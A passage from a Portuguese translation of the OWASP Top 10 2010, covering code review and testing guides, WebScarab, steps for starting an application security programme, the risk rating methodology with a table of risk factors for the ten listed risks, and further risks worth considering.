Revisão do Código: Como complemento ao Guia de Programadores da OWASP e ao Guia de Testes da OWASP, a OWASP produziu ainda o Guia de Revisão de Código da OWASP que ajuda os programadores e os especialistas em segurança aplicacional a perceberem como podem rever a segurança de uma aplicação Web de forma eficaz e eficiente através da revisão do seu código-fonte. Existe um conjunto de problemas de segurança em aplicações Web, tais como Falhas de Injecção, que são mais facilmente detectáveis através de revisões de código do que por outros testes externos.

Ferramentas de Revisão de Código: A OWASP tem vindo a realizar um trabalho promissor na ajuda que presta aos especialistas na realização de análises de código fonte, no entanto estas ferramentas ainda estão apenas na sua fase inicial de desenvolvimento. Os autores destas ferramentas usam-nas diariamente quando realizam revisões de código de segurança, mas para não-especialistas estas ferramentas são ainda muito difíceis de utilizar. Entre estas ferramentas inclui-se o CodeCrawler, o Orizon e a O2.

Testes de Segurança e de Penetração

Testes Aplicacionais: A OWASP produziu o Guia de Testes para ajudar os programadores, os responsáveis de testes e os especialistas em segurança aplicacional a perceberem como testar a segurança das aplicações Web de uma forma eficaz e eficiente. Este enorme guia, que recebeu contribuições de inúmeros especialistas, oferece uma cobertura vasta de muitos dos assuntos que estão relacionados com os testes de segurança em aplicações Web. Da mesma forma que a revisão de código tinha os seus pontos fortes, o mesmo acontece com estes testes de segurança. Impressiona muito mais quando se pode provar que uma aplicação é insegura

através da demonstração da exploração da mesma. Existem igualmente muitos aspectos de segurança, em particular toda a segurança oferecida pela infra-estrutura aplicacional, que não pode ser simplesmente vista através de revisões de código, uma vez que a aplicação não oferece a sua própria segurança.

Ferramentas de Testes de Penetração Aplicacional: a WebScarab, que é um dos projectos mais utilizados da OWASP, é uma ferramenta que permite testar aplicações Web, funcionando como um intermediário entre o navegador e a aplicação Web a testar. Esta ferramenta permite que um analista de segurança possa interceptar os pedidos realizados à aplicação Web para que este possa perceber como a aplicação funciona. Permite igualmente que o analista possa submeter pedidos de teste e verificar como é que a aplicação responde de forma segura a esses mesmos pedidos. Esta ferramenta é particularmente eficaz a ajudar um analista de segurança a identificar falhas de XSS, falhas de Autenticação e falhas no Controlo de Acessos.

O que se segue para as Organizações?

Inicie o seu Programa de Segurança Aplicacional agora

A segurança aplicacional já não é uma escolha. Entre o aumento do número de ataques e a pressão reguladora, as organizações devem estabelecer uma capacidade efectiva para poderem tornar as suas aplicações mais seguras. Devido ao elevado número de aplicações e de linhas de código já em produção, muitas organizações lutam para conseguirem resolver o enorme volume de vulnerabilidades nas mesmas. A OWASP recomenda que as organizações estabeleçam um programa de segurança aplicacional para tentaram ganhar o conhecimento que lhes permita melhorar a segurança no conjunto de aplicações que utilizam. Conseguir segurança aplicacional requer que diferentes partes da organização tenham que trabalhar em conjunto de forma eficiente, incluindo a segurança e auditoria, desenvolvimento de software, e a gestão do negócio e executiva. Requer que a segurança seja visível, para que todos os diferentes actores possam ver e perceber a postura da organização em relação à segurança aplicacional. Requer igualmente um enfoque nas actividades e resultados que ajudem a segurança da organização através de uma redução do risco da forma mais efectiva possível. Algumas das actividades principais em programas efectivos de segurança aplicacional incluem:

Começar	• Estabelecer um programa de segurança aplicacional e estimular a sua adopção. • Conduzir uma análise diferencial comparando a organização com outras semelhantes para definir áreas de melhorias e um plano de execução. • Ganhar a aprovação da gestão e estabelecer uma campanha de sensibilização para toda a organização.
Abordagem ao risco baseada na Carteira de Aplicações	• Identificar e e estabelecer prioridades na sua carteira de aplicações a partir de uma perspectiva de risco inerente. • Criar um aplicativo de perfil de risco do modelo para medir e estabelecer prioridades nas aplicações da sua carteira. Estabelecer directrizes de garantia para definir correctamente a cobertura e nível de rigor necessário. • Estabelecer um modelo comum de classificação de risco com um conjunto consistente de probabilidade e factores de impacto que reflicta a tolerância da organização para o risco.
Habilitar com fundações fortes	• Estabelecer um conjunto de políticas e normas focalizadas que proporcionem uma base comum de segurança aplicacional e à qual todas as equipas de desenvolvimento possam aderir. • Definir um conjunto comum de controlos de segurança reutilizáveis que complementem estas políticas e normas e oferecer orientação no desenho e desenvolvimento durante a sua utilização. • Estabelecer um currículo de formação em segurança aplicacional que seja necessária e orientada para as diferentes funções e temas de desenvolvimento.
Integrar a Segurança em processos existentes	• Definir e integrar as actividades de implementação e verificação de segurança nos processos operacionais e de desenvolvimento existentes. Estas atividades incluem a Modelação de Ameaças, o Desenho e Revisão Segura, Codificação e Revisão Segura, Testes de Penetração, Remediação,

	etc. • Fornecer especialistas no assunto e serviços de apoio às equipas de desenvolvimento para que o projecto possa ser bem sucedido.
Dar visibilidade à Gestão	• Gerir com métricas. Conduzir à melhoria e as decisões de financiamento com base em métrica e em análises dos dados capturados. Métricas incluem a adesão a práticas/actividades de segurança, vulnerabilidades introduzidas, vulnerabilidades mitigadas, grau de cobertura de aplicação, etc. • Analisar os dados das actividades de implementação e verificação para procurar a principal causa e os padrões de vulnerabilidades para impulsionar a melhoria estratégica e sistemática em toda a empresa.

Notas sobre o Risco

É sobre Riscos e não sobre Vulnerabilidades

Apesar das versões anteriores do OWASP Top 10 estarem focadas na identificação das vulnerabilidades mais comuns, estes documentos sempre foram organizados em torno de riscos. Isto causou uma confusão compreensível pelas pessoas que procuravam por uma taxonomia directa sobre fraquezas em aplicações Web. Esta nova versão clarifica o foco nos riscos estabelecido no Top 10, sendo mais explícita sobre como os agentes de ameaça, vectores de ataques, fraquezas, impactos técnicos e impactos de negócio são combinados para produzir riscos.

Para conseguir este propósito, foi desenvolvida uma metodologia de Estimativa de Riscos para o Top 10 baseada na Metodologia de Classificação de Riscos da OWASP. Para cada item do Top 10, foi estimado o risco típico que cada fragilidade gera para uma aplicação Web observando os factores comuns de probabilidade e impacto. Posteriormente, ordenamos o Top 10 de acordo com estas fragilidades, que tipicamente introduzem a maior parte dos riscos significativos numa aplicação.

A Metodologia de Classificação de Riscos da OWASP define diversos factores que ajudam no cálculo de risco de uma vulnerabilidade identificada. Entretanto, o Top 10 deve expor estas de uma forma genérica ao invés de problemas específicos em aplicações reais. Consequentemente, nunca poderemos ser precisos como o dono de um sistema para calcular os riscos inerentes as suas aplicações. Nós não sabemos o quão importante suas aplicações e dados são, quais são os seus agentes de ameaça e muito menos como o seu sistema foi feito e é operado.

Esta metodologia inclui três factores de probabilidade para cada fragilidade (prevalecência, a facilidade de detcção e facilidade de exploração) e um factor de impacto (impacto técnico). A prevalecência de uma fragilidade é um factor que você normalmente não tem que calcular pois incluímos dados estatísticos obtidos de diferentes organizações cuja média foi posteriormente calculada em conjunto para produzir um Top 10 de probabilidades listadas de acordo com a prevalecência. Estes dados foram então combinados com os outros dois factores de probabilidade (a facilidade de detecção e a facilidade de exploração) para calcular a taxa de ocorrência para cada fragilidade. Os resultados foram então multiplicados pela nossa estimativa média de impacto técnico para cada item, resultando no posicionamento geral de cada item no Top 10.

De notar que esta abordagem não leva em consideração a probabilidade do agente de ameaça. Nem tem em consideração nenhum dos vários detalhes técnicos associados è sua aplicação em particular. Qualquer um destes factores pode afectar significativamente a probabilidade geral de um atacante identificar e explorar uma vulnerabilidade específica. Esta classificação também não tem em consideração nenhum impacto no seu negócio. A sua organização devem decidir qual é o nível de risco que pode ser aceitável nas suas aplicações. O objectivo do Top 10 da OWASP não é o de efectuar esta análise de riscos por si.

A imagem abaixo ilustra o cálculo de risco para A2: Cross-Site Scripting, como um exemplo. Note que o XSS é tão generalizado que é a única vulnerabilidade da lista inteira classificada com o valor "Muito Generalizada". Todas as demais estão classificadas entre generalizada e pouco comum (valores entre 1 e 3).

Detalhes sobre os Factores de Risco

Sumário dos Factores de Risco do OWASP Top 10

A tabela a seguir apresenta um resumo do Top 10 dos Riscos de Segurança Aplicacional de 2010, e os factores de risco que foram atribuídos a cada um dos riscos. Estes factores foram determinados com base em estatísticas disponíveis e na experiência da equipa da OWASP. Para perceber esses riscos no contexto de uma determinada aplicação ou organização, deve considerar os seus próprios agentes de ameaça específicos e os impactos no seu negócio. Mesmo as deficiências de software mais flagrantes podem não representar um sério risco se não existirem agentes de ameaça numa posição em que possam realizar o ataque necessário ou o impacto nos negócios é insignificante para os activos envolvidos.

RISCO	Agente de Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impacto Técnico	Impacto de Negócio
		Exploração	Prevalência	Detecção	Impacto	
A1 – Injecção		FÁCIL	COMUM	MÉDIA	SEVERO	
A2 – XSS		MÉDIA	MUITO GENERALIZADA	FÁCIL	MODERADO	
A3 – Auth'n		MÉDIA	COMUM	MÉDIA	SEVERO	
A4 – DOR		FÁCIL	COMUM	FÁCIL	MODERADO	
A5 - CSRF		MÉDIA	GENERALIZADA	FÁCIL	MODERADO	
A6 – Config		FÁCIL	COMUM	FÁCIL	MODERADO	
A7 – Crypto		DIFICIL	POUCO COMUM	FÁCIL	SEVERO	
A8 – URL Access		FÁCIL	POUCO COMUM	MÉDIA	MODERADO	
A9 – Transport		DIFICIL	COMUM	FÁCIL	MODERADO	
A10 – Redirects		MÉDIA	POUCO COMUM	FÁCIL	MODERADO	

Riscos Adicionais a considerar

O Top 10 consegue cobrir um importante lote, mas existem outros riscos que devem ser considerados e avaliados pela sua organização. Alguns destes têm aparecido em versões anteriores do Top 10 da OWASP, enquanto outros não, incluindo novas técnicas de ataque que vão sendo identificadas ao longo do tempo. Outros riscos importantes de segurança aplicacional (listados por ordem alfabética) que devem igualmente ser considerados incluem:

- Clickjacking (recém-descoberta técnica de ataque em 2008)
- Falhas de Concorrência
- Negação de Serviço (era 2004 Top 10 - Entrada A9)
- Perda de Informação e Tratamento Incorrecto de Erros (era parte de Top 10 de 2007 - Entrada A6)
- Insuficiente Anti-automação
- Registo e Responsabilização Insuficientes (relacionado com o Top 10 de 2007 - Entrada A6)
- Falta de Detecção de Intrusões e de Resposta
- Execução de Ficheiros Maliciosos (estava no Top 10 de 2007 - Entrada A3)